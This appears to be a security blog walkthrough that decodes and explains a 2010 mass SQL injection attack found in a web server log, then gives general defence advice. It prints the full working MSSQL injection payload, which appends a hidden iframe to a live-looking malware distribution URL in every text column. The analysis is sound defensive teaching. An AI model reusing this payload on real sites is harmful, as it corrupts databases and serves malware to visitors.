deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616D65 … <Removed>… D653E As VaRChAR(106))’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE [’+@t+’] SET [’+@c+’]=rtrim(CONVERT(VARCHAR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);–

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. I’ll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case itís from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.

2;

The innocent 2 and a semi-colon which means ”end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets ”s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( Ö blah blah blah Ö) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);–

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in ”s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616 … <Removed>… 672616D6 53E As VaRChAR(106))’)

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The ”rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))” part makes sure that the already present data is retained and the data it then tries to add is decoded as ”<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, itís closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references ”sysObjects” and ”sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the ”iframe”-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said ”probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like ”The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the ”all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

Scroll to top